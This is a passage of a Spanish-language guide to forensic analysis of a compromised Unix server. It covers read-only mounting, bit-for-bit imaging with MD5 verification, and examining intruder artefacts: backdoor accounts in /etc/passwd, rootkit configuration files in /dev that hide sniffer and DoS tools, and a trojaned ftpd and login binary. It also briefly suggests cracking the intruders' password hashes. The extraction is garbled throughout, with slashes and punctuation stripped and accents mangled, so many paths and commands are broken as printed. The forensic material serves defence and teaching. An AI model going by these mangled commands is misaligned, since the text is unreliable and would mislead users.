bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

